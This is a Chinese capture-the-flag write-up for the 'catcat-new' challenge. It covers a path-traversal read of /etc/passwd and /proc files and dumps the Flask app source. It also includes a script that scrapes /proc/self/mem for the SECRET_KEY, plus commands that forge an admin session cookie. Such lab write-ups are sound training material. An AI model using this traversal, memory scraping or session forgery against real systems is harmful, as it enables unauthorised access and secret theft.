【攻防世界】catcat-new

catcat-new

题目来源

攻防世界　　NO.GFSJ1168

题解

dirsearch爆破目录，得到http://61.147.171.105:55027/admin，没有有用信息

点开主页的图片，观察URL，尝试读取/etc/passwd，成功，可以读取文件

读取/proc/self/cmdline文件，发现有app.py

/proc/self/cmdline 是一个特殊的文件，它提供了当前进程的命令行参数。例如在kali的shell中读取该文件，则会返回 “zsh"

在上一级路径中读取到app.py

将bytes转换为字符串以便于阅读，得到以下代码

import os
import uuid
from flask import Flask, request, session, render_template, Markup
from cat import cat

flag = ""
app = Flask(
__name__,
static_url_path='/',
static_folder='static'
)
app.config['SECRET_KEY'] = str(uuid.uuid4()).replace("-", "") + "*abcdefgh"
if os.path.isfile("/flag"):
flag = cat("/flag")
os.remove("/flag")

@app.route('/', methods=['GET'])
def index():
detailtxt = os.listdir('./details/')
cats_list = []
for i in detailtxt:
cats_list.append(i[:i.index('.')])

return render_template("index.html", cats_list=cats_list, cat=cat)

@app.route('/info', methods=["GET", 'POST'])
def info():
filename = "./details/" + request.args.get('file', "")
start = request.args.get('start', "0")
end = request.args.get('end', "0")
name = request.args.get('file', "")[:request.args.get('file', "").index('.')]

return render_template("detail.html", catname=name, info=cat(filename, start, end))

@app.route('/admin', methods=["GET"])
def admin_can_list_root():
if session.get('admin') == 1:
return flag
else:
session['admin'] = 0
return "NoNoNo"

if __name__ == '__main__':
app.run(host='0.0.0.0', debug=False, port=5637)

通过源码可以看到，我们需要伪造session，让session里admin的值为1，即可访问/admin，拿到flag。要伪造session，我们需要拿到SECRET_KEY，而SECRET_KEY可以从内存数据中获取。

/proc/self/mem中存储着当前进程在内存中的数据，但是该文件无法直接读取，我们需要先通过/proc/self/maps文件得到内存映射地址，然后读取内存数据文件/proc/self/mem。

将读到的maps中的数据保存到test.txt文件中，接下来使用脚本进行mem数据的读取。

以下脚本是网上找到的，我只是添加了一些注释

import re
import requests

maps=open('test.txt')       #test.txt存储/proc/self/maps的内容
b = maps.read()
list = b.split('\\n')       #以换行符分行
for line in list:
    if 'rw' in line:            #寻找可读写的内存区域
        addr = re.search('([0-9a-f]+)-([0-9a-f]+)',line)
        #正则匹配地址,地址格式为十六进制数[0-9a-f],reserch会返回一个re.Match对象，用括号括起来是为了使用group()处理返回结果。
        #由于每一行会有两个地址，表示一个内存区域，因此addr会有group(1)和group(2)
        start = int(addr.group(1),16)  #将十六进制字符转化为十进制数，为了符合start参数格式参考链接
        end = int(addr.group(2),16)    #将十六进制字符转化为十进制数，为了符合end参数格式
        #这里start和end参数是python读取/proc/self/mem需要用到的参数
        print(start,end)
        url = f"http://61.147.171.105:55174//info?file=../../../proc/self/mem&start={start}&end={end}"
        #使用start和end参数读取mem
        response = requests.get(url)
        secret_key = re.findall("[a-z0-9]{32}\*abcdefgh", response.text)  #uuid4()生成的字符串除去-符号后为固定的32字节（128bit），*abcdefgh为题目源码生成uuid后添加的字符串
        if secret_key:
            print(secret_key)
            break

在app.py中可以看到info路由中除了file参数，还有start和end参数，这两个参数就是用来传递读取mem数据时内存区域对应的地址。

运行脚本得到secret_key：8fe482ecf92b4639801ca7312cf5f73a*abcdefgh

使用工具flask_session_cookie_manager伪造session。项目地址：https://github.com/noraj/flask-session-cookie-manager

伪造ssesion需要一个正确的session，将其解密，更改数据后再进行加密

解密

python flask_session_cookie_manager3.py decode -s "secret_key" -c "session"

加密

python flask_session_cookie_manager3.py encode -s "secret_key" -t "data"

获取session值：eyJhZG1pbiI6MH0.Zl1XPA.8KjQ87LqcrnMb34jRHFIB_il4Y0

伪造session，根据app.py将数据中admin的值改为1

接下来使用伪造的session代替原来的session，访问路由admin，得到flag